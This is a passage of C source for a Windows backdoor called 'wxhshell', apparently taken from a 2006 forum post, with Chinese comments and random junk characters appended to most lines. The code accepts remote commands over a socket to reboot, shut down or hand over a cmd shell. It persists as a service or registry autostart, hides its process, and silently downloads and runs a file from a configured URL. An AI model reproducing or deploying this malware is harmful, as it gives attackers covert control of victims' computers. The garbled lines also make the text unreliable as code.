  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =p2: qSV  
  } %n^ugm0B  
  else { |OiM(E(  
5)C`W]JE  
    switch(cmd[0]) { T STkMlCG  
  (L*<CV  
  // 帮助 \SN>Yy  
  case '?': { $ftxid8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YSbe Cyv  
    break; -Q6Vz=ku  
  } H=*lj.x  
  // 安装 O>"T*   
  case 'i': { ~"VM_Lz]5  
    if(Install()) ue1g(;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k$|g)[RE  
    else Y|6gg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a+^,EY  
    break; 9@8'*a{`m  
    } z |8zNt Ug  
  // 卸载 VG_xNM  
  case 'r': { }5AA}=  
    if(Uninstall()) []G@l. ]W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q7]bUPDO  
    else GuC 9h^[=M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M5:j)o W  
    break; ~ycWc Zi>  
    } 2f6BZ8H+Z  
  // 显示 wxhshell 所在路径 BvS!P8  
  case 'p': { NJCSo(O  
    char svExeFile[MAX_PATH]; o@L2c3?c5  
    strcpy(svExeFile,"\n\r"); hkOFPt&  
      strcat(svExeFile,ExeFile); y3':x[d  
        send(wsh,svExeFile,strlen(svExeFile),0); _jb&=f8  
    break; A=sz8?K+`  
    } [!#}#  
  // 重启 G- |  
  case 'b': { 67Ev$a_d"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D?FmlDTr[  
    if(Boot(REBOOT)) pVM1%n:#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _*cKu>,O  
    else { - "EPU]q  
    closesocket(wsh); vdh[%T,&  
    ExitThread(0); V 4&a+MJ@  
    } =zTpDL  
    break; 6rM{r>  
    } ,Jx.Kj.,  
  // 关机 Pk;1q?tGw  
  case 'd': { w"O{@2B3:H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^{YK'60  
    if(Boot(SHUTDOWN)) {v"Y!/ [z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9g|99Z  
    else { }USOWsLSt  
    closesocket(wsh); m%nRHT0KAf  
    ExitThread(0); b7y#uL1AE  
    } W$<Y**y9m  
    break; hW9U%-D  
    } ,/qY 9eh  
  // 获取shell J!}\v=Rn  
  case 's': { ~iPXn1  
    CmdShell(wsh); T7|=`~  
    closesocket(wsh); E#Ol{6  
    ExitThread(0); Y$#6%`*#>n  
    break; O^q~dda  
  } T*g}^TEh  
  // 退出 $Wjx$fD  
  case 'x': { $rJgBN   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k7& cc|y  
    CloseIt(wsh); %f?Zg44  
    break; ??P %.  
    } _4T7Vg''  
  // 离开 KAi_+/]K_  
  case 'q': { =sso )/3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1SH]$V4C  
    closesocket(wsh); Yr\quinLL  
    WSACleanup(); #.vp \W  
    exit(1); 2Da0*xn{  
    break; [dXa,  
        } BY9Z}/{j  
  } D< kf/hj  
  } ?M^qSo=/~  
jxZf,]>T  
  // 提示信息 Dk&(QajL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~pHuh#>  
} '-mzt~zGOY  
  } ?mF:L"i  
S..8,5mBH  
  return;  :YPi>L5  
} 1!yd(p=cL  
)3O#T$h  
// shell模块句柄 j\NCoos  
int CmdShell(SOCKET sock) B)/c]"@89  
{ Mf !S'\  
STARTUPINFO si; f@q.kD21  
ZeroMemory(&si,sizeof(si)); v2a(yH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i'10qWz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Hy -)yR  
PROCESS_INFORMATION ProcessInfo; 138v{Z  
char cmdline[]="cmd"; I_e7rE0 `  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M`7[hr  
  return 0; ,Vl2U"   
} `[e0_g\  
@ 'c(q=K;  
// 自身启动模式 2jlz#Sk  
int StartFromService(void) ;$8ptB.  
{ l5]R*mR  
typedef struct h6bvUI+|h  
{ I!}V+gu=  
  DWORD ExitStatus; eCWF0a  
  DWORD PebBaseAddress; F+?i{$  
  DWORD AffinityMask; q(csZ\e=  
  DWORD BasePriority; NJmx(!Xsh  
  ULONG UniqueProcessId; O S#RCN*  
  ULONG InheritedFromUniqueProcessId; ROvY,-?  
}   PROCESS_BASIC_INFORMATION; l8:!{I?s=  
#DARZhU)  
PROCNTQSIP NtQueryInformationProcess; X]n`YF7  
atW^^4 :  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t~)4f.F:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y+kuj],h  
Qmb+%z  
  HANDLE             hProcess; ? * r  
  PROCESS_BASIC_INFORMATION pbi; .tHjGx  
`z.sWF|f!O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2^"! p;WQ  
  if(NULL == hInst ) return 0; }2 \Hg  
,% 'r:@'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .JTRFk{W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AZ4:3}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^uphpABpD  
>;F}>_i  
  if (!NtQueryInformationProcess) return 0; /reGT!u  
x>,wmk5)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dcTZL$  
  if(!hProcess) return 0; #xq3 )B  
2}bXX'Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w`r %_o-I  
g/WDAO?d  
  CloseHandle(hProcess); ZoYllk   
u~ VXe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MmU`i ,z  
if(hProcess==NULL) return 0; WnU2.:  
qrjSG%i~J7  
HMODULE hMod; eD3\>Y.z  
char procName[255]; C3N1t  
unsigned long cbNeeded; YMy**  
M= |is*t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `c|H^*RC  
Z0O0Q=e\Y  
  CloseHandle(hProcess); B*E"yB\NV  
I[gPW7&S@  
if(strstr(procName,"services")) return 1; // 以服务启动 W voIh4]  
9$qw&j[  
  return 0; // 注册表启动 2yD ?f8P4  
} DZLEx{cm  
?R4u>AHS@  
// 主模块 9~2iA,xs  
int StartWxhshell(LPSTR lpCmdLine) @HnahD  
{ osmCwM4O  
  SOCKET wsl; '66nqJb*  
BOOL val=TRUE; QFN9j  
  int port=0; @[`]w`9Q7  
  struct sockaddr_in door; XbeT x  
h,-i\8gq  
  if(wscfg.ws_autoins) Install(); #Ye0*`  
p&0 G  
port=atoi(lpCmdLine); .wTb/x  
;Xqi;EA  
if(port<=0) port=wscfg.ws_port; PR AP~P&^  
[3ggJcUgW>  
  WSADATA data; qF-Fc q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *-.`Q  
]/3!t=La  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s jaaZx1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <lU(9) L;&  
  door.sin_family = AF_INET; %&lwp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QNv5CQ&  
  door.sin_port = htons(port); PI9aKNt  
wr(*RI"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O<mA+yk  
closesocket(wsl); C OL"/3r  
return 1; Fi7~JZZ  
} R<hsG%BS(D  
X+ybgB4(  
  if(listen(wsl,2) == INVALID_SOCKET) { cG3tn&AXi  
closesocket(wsl); 09 f;z  
return 1; MSp) Jc  
} F x$W3FIO]  
  Wxhshell(wsl); YACx9K H  
  WSACleanup(); 0LIXkF3^1  
|oX9SUl  
return 0; C43I(.2g  
Oml /;p  
} kp!(e0n  
m]'+Eye ]r  
// 以NT服务方式启动 ep`8LQf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _5p]Arg?}&  
{ E@l@f  
DWORD   status = 0; 2#CN:b]+  
  DWORD   specificError = 0xfffffff; E0aFHC[  
Sht3\cJ8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G=CP17&h6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m(5LXH Jnv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .<YfnW5/K  
  serviceStatus.dwWin32ExitCode     = 0; 3RD+;^}q 3  
  serviceStatus.dwServiceSpecificExitCode = 0; {A%&D^o)  
  serviceStatus.dwCheckPoint       = 0; u@+^lRGFh  
  serviceStatus.dwWaitHint       = 0; hOs~/bM  
f'7/Wj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /Tw $} 8  
  if (hServiceStatusHandle==0) return; 7 4(bo \  
qC=ZH#  
status = GetLastError(); <h<_''+  
  if (status!=NO_ERROR) Ra^c5hP:.E  
{ ycEp,V;[Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :9q|<[Y^  
    serviceStatus.dwCheckPoint       = 0; bGwj` lue  
    serviceStatus.dwWaitHint       = 0; %x}Unk  
    serviceStatus.dwWin32ExitCode     = status; >>;He7  
    serviceStatus.dwServiceSpecificExitCode = specificError; >m=XqtP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v0;dk(  
    return; ]C|xo.=?]  
  } I8IH\5k  
ymR AQVv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j.V7`x  
  serviceStatus.dwCheckPoint       = 0; +K2HMf'  
  serviceStatus.dwWaitHint       = 0; 63t'|9^5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;L$l0(OO  
} `}}|QP5xG  
sebm  
// 处理NT服务事件,比如:启动、停止 &4M,)Q (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b `cH.v  
{ Iu;VFa  
switch(fdwControl) z~1S/,Ca  
{ 1pN8,[hyR7  
case SERVICE_CONTROL_STOP: mVK^gJ3  
  serviceStatus.dwWin32ExitCode = 0; m (kKUv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `V*$pHo  
  serviceStatus.dwCheckPoint   = 0; JiXN"s^mcb  
  serviceStatus.dwWaitHint     = 0; =~dXP  
  { K8QEHc:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (8~Hr?1B  
  } 3#F"UG2,_  
  return; / =v1.9(  
case SERVICE_CONTROL_PAUSE: C [8='i26  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I=YZ!*f/`  
  break; $UdFm8&  
case SERVICE_CONTROL_CONTINUE: jT-tsQ .,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Go~3L8 '  
  break; :/fT8KCwo  
case SERVICE_CONTROL_INTERROGATE: Ro2!$[P  
  break; =trLL+vGw'  
}; k4"O} jQO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _gCi@uXS3  
} w (ev=)7<  
Q[aBxy (  
// 标准应用程序主函数 H^$7=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5<oV>|*@{  
{ Ik=bgEF  
ag!q:6&  
// 获取操作系统版本 A{DE7gp!  
OsIsNt=GetOsVer(); Z[\nyj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ),-MrL8c%  
C3K")BO!  
  // 从命令行安装 7|)K!  
  if(strpbrk(lpCmdLine,"iI")) Install(); C}:_&^DQ  
yoBR'$-=  
  // 下载执行文件 Uo|T6N  
if(wscfg.ws_downexe) { NnY+=#j7L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r#6djs1  
  WinExec(wscfg.ws_filenam,SW_HIDE); #!4 HSBf  
} I5rAL\y-G  
-8t&&fIA  
if(!OsIsNt) { n3s  
// 如果时win9x,隐藏进程并且设置为注册表启动 #/hXcF  
HideProc(); IBh?vh  
StartWxhshell(lpCmdLine);  '^,|8A2  
} 7X.B  
else V?jot<|$  
  if(StartFromService()) M-C>I;a  
  // 以服务方式启动 #ePtfRzJ  
  StartServiceCtrlDispatcher(DispatchTable); zZPXI&,  
else AUr~b3< 6  
  // 普通方式启动 u#$sO;8s  
  StartWxhshell(lpCmdLine); ]"\sd"  
KU.F4I8}q  
return 0; w?R#ly  
}
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只看该作者 1 发表于: 2006-10-10
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